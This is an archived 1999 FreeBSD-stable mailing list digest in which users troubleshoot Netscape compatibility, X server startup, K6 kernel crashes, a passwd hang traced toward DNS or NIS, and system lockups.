1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi On Tue, 5 Oct 1999, Guseyn Ismaylov wrote: > Anyone can tell why i cannot run netscape on my freebsd 3.x ? Did you install the compat22 distributions? Brett ***************************************************** Brett Taylor brett@peloton.runet.edu * Dept of Chem and Physics * Curie 39A (540) 831-6147 * ***************************************************** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 8:19:55 1999 Delivered-To: freebsd-stable@freebsd.org Received: from server26.ilap.com (ns1.ilap.com [216.223.128.151]) by hub.freebsd.org (Postfix) with ESMTP id 1CD1A150E9 for ; Tue, 5 Oct 1999 08:19:38 -0700 (PDT) (envelope-from phorechuk@docucom.ca) Received: from paul (server25.docucom.ca [209.5.109.25]) by server26.ilap.com (Pro-8.9.3/8.9.3/Internet Light and Power Inc.) with SMTP id LAA26655 for ; Tue, 5 Oct 1999 11:19:27 -0400 (EDT) Message-ID: <031a01bf0ee0$49dc49e0$73f8d7a5@paul.docucom.ca> Reply-To: "Paul Horechuk" From: "Paul Horechuk" To: Subject: X won't start Date: Mon, 4 Oct 1999 23:17:45 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3155.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm running v3.2 as per the CD-ROM release. My system is AMD K6/233 with ATI All in Wonder video. I've gone through the process of running the XF86 config, for both client and server. I've run the vidtune to set my screen resolutions and I can run the KDE desktop. Here is the problem: On a fresh boot, I type startx and I get an error complaining about not finding any servers. If I use /stand/sysinstall and run the XF86 config option again, I get a screen with the video distorted. There is enough visible to let me respond OK and SAVE at the various buttons. The configuration process ends and I'm back at the sysinstall prompts for the next step, the choice of environments. If I abort at this point to return to the prompt and then run startx, everything is ok and KDE starts up. This is using the root account. What am I missing? I have not been able to configure my dialup to my ISP yet ( there is some strange PAP authorizations going on, which I haven't figured out yet) and as a result have not been able to cvsup anything newer. The 3.3 CD is about to be installed. Is there something I should check on first? Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 8:35: 4 1999 Delivered-To: freebsd-stable@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 0693B15024 for ; Tue, 5 Oct 1999 08:35:01 -0700 (PDT) (envelope-from cy@cschuber.net.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id HAA22478; Tue, 5 Oct 1999 07:26:21 -0700 Received: from cschuber.net.gov.bc.ca(142.31.240.113), claiming to be "cwsys.cwsent.com" via SMTP by point.osg.gov.bc.ca, id smtpda22475; Tue Oct 5 07:26:00 1999 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.3/8.9.1) id HAA17380; Tue, 5 Oct 1999 07:25:29 -0700 (PDT) Message-Id: <199910051425.HAA17380@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdq17364; Tue Oct 5 07:24:38 1999 X-Mailer: exmh version 2.0.2 2/24/98 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.3-RELEASE X-Sender: cy To: David Gilbert Cc: Cy Schubert - ITSD Open Systems Group , freebsd-stable@FreeBSD.ORG Subject: Re: More on the crashes already mentioned. In-reply-to: Your message of "Tue, 05 Oct 1999 09:30:15 EDT." <14329.64871.579761.476450@trooper.velocet.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 05 Oct 1999 07:24:38 -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <14329.64871.579761.476450@trooper.velocet.net>, David Gilbert write s: > Well... the same machine had an 80 day uptime before the upgrade > (running 3.0-RELEASE). We have also tried alternate motherboards. > Now... all this hardware is K6-2/400's --- it appears that substantial > amounts of new code playing with processor bits has been introduced > between 3.2 and 3.3 You may wish to try a different processor, not another K6. Your configuration may be exercising some undocumented or unknown deviation from the Pentium family. If you know what "playing with processor bits" code have been introduced, you may want to try to remove them and build a new kernel or cvsup to the date prior to when the "bits" were added to 3.2-STABLE. This should give everyone a better understanding of which "bits" might be the cause. Sorry I cannot help more, as all six FreeBSD systems I or my team manage have various incarnations of Pentium and run an entirely different workload than you. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Province of BC "e**(i*pi)+1=0" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 8:44: 1 1999 Delivered-To: freebsd-stable@freebsd.org Received: from trooper.velocet.net (trooper.velocet.net [216.126.82.226]) by hub.freebsd.org (Postfix) with ESMTP id 36C8C150E9 for ; Tue, 5 Oct 1999 08:43:57 -0700 (PDT) (envelope-from dgilbert@trooper.velocet.net) Received: (from dgilbert@localhost) by trooper.velocet.net (8.9.3/8.9.3) id LAA10170; Tue, 5 Oct 1999 11:42:05 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14330.7245.16192.651574@trooper.velocet.net> Date: Tue, 5 Oct 1999 11:42:05 -0400 (EDT) To: Cy Schubert - ITSD Open Systems Group Cc: David Gilbert , freebsd-stable@FreeBSD.ORG Subject: Re: More on the crashes already mentioned. In-Reply-To: <199910051425.HAA17380@cwsys.cwsent.com> References: <14329.64871.579761.476450@trooper.velocet.net> <199910051425.HAA17380@cwsys.cwsent.com> X-Mailer: VM 6.71 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Cy" == Cy Schubert <- ITSD Open Systems Group > writes: Cy> In message <14329.64871.579761.476450@trooper.velocet.net>, David Cy> Gilbert write s: >> Well... the same machine had an 80 day uptime before the upgrade >> (running 3.0-RELEASE). We have also tried alternate motherboards. >> Now... all this hardware is K6-2/400's --- it appears that >> substantial amounts of new code playing with processor bits has >> been introduced between 3.2 and 3.3 Cy> You may wish to try a different processor, not another K6. Your Cy> configuration may be exercising some undocumented or unknown Cy> deviation from the Pentium family. Cy> If you know what "playing with processor bits" code have been Cy> introduced, you may want to try to remove them and build a new Cy> kernel or cvsup to the date prior to when the "bits" were added to Cy> 3.2-STABLE. This should give everyone a better understanding of Cy> which "bits" might be the cause. Well... I've reverted to a 3.2-RELEASE kernel... which appears to be more stable (more on that later). I have a celery here... which I might introduce, but I'd prefer to solve the problem :). I'm submitting a massive PR on this in a sec with lots o' tracebacks. I'll have to dig through the cvs tree to see what date those changes were done on --- but in general, I'm talking about the K6 "PVCC" (sp?) stuff... where 3.3 kernels talk about this extra bit and 3.2 kernels don't Dave. -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://www.velocet.net/~dgilbert | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 9:11:53 1999 Delivered-To: freebsd-stable@freebsd.org Received: from klentaq.com (klentaq1.emergingtech.org [199.217.151.234]) by hub.freebsd.org (Postfix) with ESMTP id 179FF155F8 for ; Tue, 5 Oct 1999 09:11:40 -0700 (PDT) (envelope-from wayne@klentaq.com) Received: (from wayne@localhost) by klentaq.com (8.9.3/8.9.2) id LAA41274 for freebsd-stable@freebsd.org; Tue, 5 Oct 1999 11:20:56 -0500 (CDT) (envelope-from wayne) From: Wayne M Barnes Message-Id: <199910051620.LAA41274@klentaq.com> Subject: passwd hang To: freebsd-stable@freebsd.org Date: Tue, 5 Oct 1999 11:20:56 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear FreeBSD, passwd is broke *again* I have 2 systems that won't do this command properly. The first one is wayne@klentaq:/etc>uname -a FreeBSD klentaq.com 3.3-STABLE FreeBSD 3.3-STABLE #6: Wed Sep 22 16:28:38 CDT 1999 wayne@klentaq.com:/usr/src/sys/compile/GENEONE i386 When I enter the command 'passwd', nothing comes back. It's the same with the comand 'send-pr'. My second system is a fresh install from the 3.3 CD. Same thing. But while typing up this message, I notice that it does respond after a *ONE MINUTE FORTY SECOND PAUSE* pause. Trying that for system one: *ONE MINUTE FORTY-ONE SECOND PAUSE* The hang for send-pr is the same. This happens to me so much. Can I be the only one? Wayne M. Barnes DNA Polymerase Technology, Inc. barnes@klentaq.com www.klentaq.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 9:33:36 1999 Delivered-To: freebsd-stable@freebsd.org Received: from dfw7-1.relay.mail.uu.net (dfw7-1.relay.mail.uu.net [199.171.54.106]) by hub.freebsd.org (Postfix) with ESMTP id 91F2914EC8 for ; Tue, 5 Oct 1999 09:33:05 -0700 (PDT) (envelope-from veldy@visi.com) Received: from veldy by dfw7sosrv11.alter.net with SMTP (peer crosschecked as: [63.74.10.154]) id QQhjqg20959; Tue, 5 Oct 1999 16:32:55 GMT Message-ID: <00cc01bf0f4f$7168f480$c101060a@metamoris.com> From: "Thomas T. Veldhouse" To: "Guseyn Ismaylov" , References: <199910051234.RAA01357@azeri.com> Subject: Re: Netscape 4.6 Date: Tue, 5 Oct 1999 11:34:06 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You are going to need the compat22 installed (from the installation media using sysinstall) or alternatively, you could build world with this option on in /etc/make.conf. You will also have to build XFree86 with a.out library support (one of the options asked during the build). Make sure you run ldconfig afterwords, and if you don't know the params - just reboot :-( Tom Veldhouse veldy@visi.com ----- Original Message ----- From: Guseyn Ismaylov To: Sent: Tuesday, October 05, 1999 7:34 AM Subject: Netscape 4.6 > Anyone can tell why i cannot run netscape on my freebsd 3.x ? > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 9:35:35 1999 Delivered-To: freebsd-stable@freebsd.org Received: from dingo.cdrom.com (castles506.castles.com [208.214.165.70]) by hub.freebsd.org (Postfix) with ESMTP id 4B71E14EC8 for ; Tue, 5 Oct 1999 09:35:30 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id JAA04616; Tue, 5 Oct 1999 09:26:32 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199910051626.JAA04616@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Wayne M Barnes Cc: freebsd-stable@freebsd.org Subject: Re: passwd hang In-reply-to: Your message of "Tue, 05 Oct 1999 11:20:56 CDT." <199910051620.LAA41274@klentaq.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 05 Oct 1999 09:26:32 -0700 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Dear FreeBSD, > > passwd is broke *again* Actually, your symptoms indicate that nothing whatsoever is wrong with passwd. In addition, the tone of your message is quite unacceptable, especially since you appear to be in error. Thirdly, this is not the correct list to be posting such a question to. > I have 2 systems that won't do this command properly. The first one is > wayne@klentaq:/etc>uname -a > FreeBSD klentaq.com 3.3-STABLE FreeBSD 3.3-STABLE #6: Wed Sep 22 16:28:38 > CDT 1999 wayne@klentaq.com:/usr/src/sys/compile/GENEONE i386 > > When I enter the command 'passwd', nothing comes back. It's the same > with the comand 'send-pr'. > > My second system is a fresh install from the 3.3 CD. Same thing. > But while typing up this message, I notice that it does > respond after a *ONE MINUTE FORTY SECOND PAUSE* pause. It may be instructive for you to know that standard DNS timeout value is approximately ******SEVENTY SECONDS******. > This happens to me so much. Can I be the only one? No, there are other people out there with busted DNS setups too. You can confirm that it's DNS by saying 'stty status ^T' before you run the offending command and then hit ^T while it's running; you should see [select] in the output you get. Repeating that again: your DNS is probably busted. Fix it. Don't be rude to people you are expecting help from, or they might just take the time to make you feel _really_ stupid. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 10: 4:26 1999 Delivered-To: freebsd-stable@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [194.102.224.1]) by hub.freebsd.org (Postfix) with ESMTP id 52DC0150EA; Tue, 5 Oct 1999 10:03:42 -0700 (PDT) (envelope-from ady@warpnet.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id UAA08746; Tue, 5 Oct 1999 20:02:27 +0300 (EEST) (envelope-from ady@warpnet.ro) Date: Tue, 5 Oct 1999 20:02:26 +0300 (EEST) From: Adrian Penisoara To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, On Mon, 4 Oct 1999, Adrian Penisoara wrote: > > I have a -stable production server that keeps (solidly) blocking pretty > often (I don't get over 3 days uptimes). If you need details just let me > know. Just to let you know: syncing every second in a loop like this: while true do sync ; sleep 1 done doesn't prove to be a workaround -- the system still locks up. I tried this as per Mattew's suggestion in an e-mail on the list. BTW: I'll downgrade to 3.1-STABLE as of aprox. end of April; I'll let you know if it's stable for me. Thanks, Ady (@warpnet.ro) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 10:11:43 1999 Delivered-To: freebsd-stable@freebsd.org Received: from freeway.dcfinc.com (cx74889-a.phnx3.az.home.com [24.1.193.157]) by hub.freebsd.org (Postfix) with ESMTP id 34ABD152E7 for ; Tue, 5 Oct 1999 10:11:19 -0700 (PDT) (envelope-from chad@freeway.dcfinc.com) Received: (from chad@localhost) by freeway.dcfinc.com (8.8.8/8.8.8) id KAA16513; Tue, 5 Oct 1999 10:10:58 -0700 (MST) (envelope-from chad) From: "Chad R. Larson" Message-Id: <199910051710.KAA16513@freeway.dcfinc.com> Subject: Re: Netscape 4.6 In-Reply-To: <00cc01bf0f4f$7168f480$c101060a@metamoris.com> from "Thomas T. Veldhouse" at "Oct 5, 99 11:34:06 am" To: veldy@visi.com (Thomas T. Veldhouse) Date: Tue, 5 Oct 1999 10:10:57 -0700 (MST) Cc: guseyn@azeri.com, stable@FreeBSD.ORG Reply-To: chad@DCFinc.com X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As I recall, Thomas T. Veldhouse wrote: > Make sure you run ldconfig afterwords, and > if you don't know the params - just reboot :-( Oh, no! Micrsoftism creeping in... -crl -- Chad R. Larson (CRL15) 602-953-1392 Brother, can you paradigm? chad@dcfinc.com chad@larsons.org larson1@home.net DCF, Inc. - 14623 North 49th Place, Scottsdale, Arizona 85254-2207 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 10:14:33 1999 Delivered-To: freebsd-stable@freebsd.org Received: from dfw7-1.relay.mail.uu.net (dfw7-1.relay.mail.uu.net [199.171.54.106]) by hub.freebsd.org (Postfix) with ESMTP id CD7B115611 for ; Tue, 5 Oct 1999 10:14:30 -0700 (PDT) (envelope-from veldy@visi.com) Received: from veldy by dfw7sosrv11.alter.net with SMTP (peer crosschecked as: [63.74.10.154]) id QQhjqi12179; Tue, 5 Oct 1999 17:13:48 GMT Message-ID: <00e901bf0f55$293a8100$c101060a@metamoris.com> From: "Thomas T. Veldhouse" To: Cc: , References: <199910051710.KAA16513@freeway.dcfinc.com> Subject: Re: Netscape 4.6 Date: Tue, 5 Oct 1999 12:14:56 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hence my sad face :-( ----- Original Message ----- From: Chad R. Larson To: Thomas T. Veldhouse Cc: ; Sent: Tuesday, October 05, 1999 12:10 PM Subject: Re: Netscape 4.6 > As I recall, Thomas T. Veldhouse wrote: > > Make sure you run ldconfig afterwords, and > > if you don't know the params - just reboot :-( > > Oh, no! Micrsoftism creeping in... > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 10:57:13 1999 Delivered-To: freebsd-stable@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id B286314F0C for ; Tue, 5 Oct 1999 10:57:08 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.037 #1) id 11YYFi-0005Np-00; Tue, 05 Oct 1999 19:19:50 +0200 From: Sheldon Hearn To: "Paul Horechuk" Cc: stable@FreeBSD.ORG Subject: Re: X won't start In-reply-to: Your message of "Mon, 04 Oct 1999 23:17:45 -0400." <031a01bf0ee0$49dc49e0$73f8d7a5@paul.docucom.ca> Date: Tue, 05 Oct 1999 19:19:50 +0200 Message-ID: <20696.939143990@axl.noc.iafrica.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 04 Oct 1999 23:17:45 -0400, "Paul Horechuk" wrote: > What am I missing? Probably just a symlink called X which points to the appropriate X display server. Have a look in /usr/X11R6/bin: cd /usr/X11R6/bin ls -l XF86_* X You'll probably get a list of display servers like XF86_SVGA. You'll probably also get this error message: ls: X: No such file or directory If you do, select the XF86_FOO driver that you use (let's say XF86_SVGA for this example) and create a symlink to it like this: ln -s XF86_SVGA X Now do the same ``ls -l'' command as before and you'll see something like this: lrwxr-xr-x 1 root wheel 9 Jun 8 04:40 X -> XF86_SVGA Oh yeah, that reminds me, you should be doing this as root. ;-) Now try startx again. :-) Later, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 12:17:41 1999 Delivered-To: freebsd-stable@freebsd.org Received: from barnes1.wustl.edu (barnes1.wustl.edu [128.252.162.58]) by hub.freebsd.org (Postfix) with ESMTP id 3264314E5C for ; Tue, 5 Oct 1999 12:17:37 -0700 (PDT) (envelope-from wayne@barnes1.wustl.edu) Received: (from wayne@localhost) by barnes1.wustl.edu (8.9.3/8.9.2) id OAA00341 for freebsd-stable@freebsd.org; Tue, 5 Oct 1999 14:19:17 -0500 (CDT) (envelope-from wayne) From: Wayne M Barnes Message-Id: <199910051919.OAA00341@barnes1.wustl.edu> Subject: passwd hang or DNS To: freebsd-stable@freebsd.org Date: Tue, 5 Oct 1999 14:19:17 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear Mike, Why would passwd care about the DNS setup? I tried your suggestion to 'stty status ^T' Here is the output from a few ^T: wayne@klentaq:/home/wayne>passwd load: 1.00 cmd: passwd 41655 [nanslp] 0.00u 0.00s 0% 644k load: 1.00 cmd: passwd 41655 [nanslp] 0.00u 0.00s 0% 644k load: 1.00 cmd: passwd 41655 [nanslp] 0.00u 0.00s 0% 644k ^C Here we go for the hanging 'send-pr': wayne@klentaq:/home/wayne>send-pr load: 1.01 cmd: sed 41816 [piperd] 0.00u 0.00s 0% 492k load: 1.01 cmd: sed 41816 [piperd] 0.00u 0.00s 0% 492k I don't see the [select] that you predicted. Also, I can do most any network function from my system one, so I think its DNS is okay. Do you have any other ideas? Wayne M. Barnes, Ph.D. wayne@barnes1.wustl.edu The following output is reproduced without flame retardant: > > > Dear FreeBSD, > > > > passwd is broke *again* > > Actually, your symptoms indicate that nothing whatsoever is wrong with > passwd. In addition, the tone of your message is quite unacceptable, > especially since you appear to be in error. Thirdly, this is not the > correct list to be posting such a question to. > > > I have 2 systems that won't do this command properly. The first one is > > wayne@klentaq:/etc>uname -a > > FreeBSD klentaq.com 3.3-STABLE FreeBSD 3.3-STABLE #6: Wed Sep 22 16:28:38 > > CDT 1999 wayne@klentaq.com:/usr/src/sys/compile/GENEONE i386 > > > > When I enter the command 'passwd', nothing comes back. It's the same > > with the command 'send-pr'. > > > > My second system is a fresh install from the 3.3 CD. Same thing. > > But while typing up this message, I notice that it does > > respond after a *ONE MINUTE FORTY SECOND PAUSE* pause. > > It may be instructive for you to know that standard DNS timeout value > is approximately ******SEVENTY SECONDS******. > > > This happens to me so much. Can I be the only one? > > No, there are other people out there with busted DNS setups too. You > can confirm that it's DNS by saying 'stty status ^T' before you run the > offending command and then hit ^T while it's running; you should see > [select] in the output you get. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 12:21:27 1999 Delivered-To: freebsd-stable@freebsd.org Received: from misha.cisco.com (misha.cisco.com [171.69.206.50]) by hub.freebsd.org (Postfix) with ESMTP id A5F1114D4B for ; Tue, 5 Oct 1999 12:21:07 -0700 (PDT) (envelope-from mi@misha.cisco.com) Received: (from mi@localhost) by misha.cisco.com (8.9.3/8.9.1) id PAA27409 for stable@freebsd.org; Tue, 5 Oct 1999 15:19:15 -0400 (EDT) (envelope-from mi) Message-Id: <199910051919.PAA27409@misha.cisco.com> Subject: Re: Netscape 4.6 In-Reply-To: from Brett Taylor at "Oct 5, 1999 11:14:52 am" To: stable@freebsd.org Date: Tue, 5 Oct 1999 15:19:15 -0400 (EDT) Reply-To: mi@aldan.algebra.com From: Mikhail Teterin X-Mailer: ELM [version 2.4ME+ PL60 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Brett Taylor once wrote: > On Tue, 5 Oct 1999, Guseyn Ismaylov wrote: > > > Anyone can tell why i cannot run netscape on my freebsd 3.x ? > > Did you install the compat22 distributions? May I suggest we do not dignify the questions like Guseyn's with anything, but requests for more information?.. With replies redirected to -questions... If you feel like helping the unfortunate one anyway -- shouldn't that be done in private e-mail? -mi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 12:51:39 1999 Delivered-To: freebsd-stable@freebsd.org Received: from server.baldwin.cx (jobaldwi.campus.vt.edu [198.82.67.146]) by hub.freebsd.org (Postfix) with ESMTP id 36B9F15649 for ; Tue, 5 Oct 1999 12:50:49 -0700 (PDT) (envelope-from jobaldwi@vt.edu) Received: from john.baldwin.cx (john [10.0.0.2]) by server.baldwin.cx (8.9.3/8.9.3) with ESMTP id PAA58603; Tue, 5 Oct 1999 15:51:05 -0400 (EDT) (envelope-from jobaldwi@vt.edu) Message-Id: <199910051951.PAA58603@server.baldwin.cx> X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199910051919.OAA00341@barnes1.wustl.edu> Date: Tue, 05 Oct 1999 15:51:05 -0400 (EDT) From: John Baldwin To: Wayne M Barnes Subject: RE: passwd hang or DNS Cc: freebsd-stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 05-Oct-99 Wayne M Barnes wrote: > Do you have any other ideas? Do you use NIS? --- John Baldwin -- http://www.cslab.vt.edu/~jobaldwi/ PGP Key: http://www.cslab.vt.edu/~jobaldwi/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 13:16:16 1999 Delivered-To: freebsd-stable@freebsd.org Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (Postfix) with ESMTP id 58B9C1505F for ; Tue, 5 Oct 1999 13:16:14 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id NAA00530; Tue, 5 Oct 1999 13:07:34 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199910052007.NAA00530@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Wayne M Barnes Cc: freebsd-stable@freebsd.org Subject: Re: passwd hang or DNS In-reply-to: Your message of "Tue, 05 Oct 1999 14:19:17 CDT." <199910051919.OAA00341@barnes1.wustl.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 05 Oct 1999 13:07:34 -0700 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Dear Mike, > > Why would passwd care about the DNS setup? Because you may have configured Kerberos or NIS, both of which need to perform hostname resolution. > I tried your suggestion to 'stty status ^T' > Here is the output from a few ^T: > > wayne@klentaq:/home/wayne>passwd > load: 1.00 cmd: passwd 41655 [nanslp] 0.00u 0.00s 0% 644k This is another possible candidate, actually. You can try 'passwd -l' to see if this is what's happening. > Here we go for the hanging 'send-pr': > wayne@klentaq:/home/wayne>send-pr > load: 1.01 cmd: sed 41816 [piperd] 0.00u 0.00s 0% 492k > load: 1.01 cmd: sed 41816 [piperd] 0.00u 0.00s 0% 492k This is waiting for a coprocess at the other end of the pipe. The coprocess is the one that's probably asleep. > I don't see the [select] that you predicted. Also, I can do most > any network function from my system one, so I think its DNS is okay. That's not a valid assumption, since the above two cases are "network functions" that don't appear to be working. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 14: 1:14 1999 Delivered-To: freebsd-stable@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id BB81715651; Tue, 5 Oct 1999 14:01:01 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id OAA79706; Tue, 5 Oct 1999 14:00:42 -0700 (PDT) (envelope-from dillon) Date: Tue, 5 Oct 1999 14:00:42 -0700 (PDT) From: Matthew Dillon Message-Id: <199910052100.OAA79706@apollo.backplane.com> To: Adrian Penisoara Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... References: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : The problem is that the machine is completely locked, I can't get into :the debugger with CTR-ALT-ESC; no panics so there are no coredumps :catched. Any advise ? Could you escape in the debugger when you were hit :by these bugs ? If it's completely locked up and ctl-alt-esc doesn't work (and normally does work - try it on a working system to make sure that you've compiled in the appropriate DDB options), and you aren't in an X display (ctl-alt-esc isn't useful when done from an X display)... then your lockup problem is unrelated to mmap. If you are running an X display on this box, you may be able to get more information in regards to the crash if you turn off X. : : I have: squid (20Mb), nntpcached (17Mb SIZE, 1Mb RES), apache, named, :MFS, a few PPP processes and the rest of the standard menu. The only programs known to cause the swap problem are innd and innxmit, both part of the inn news system. : OK, how about some workarounds, I can't wait anylonger for this to be 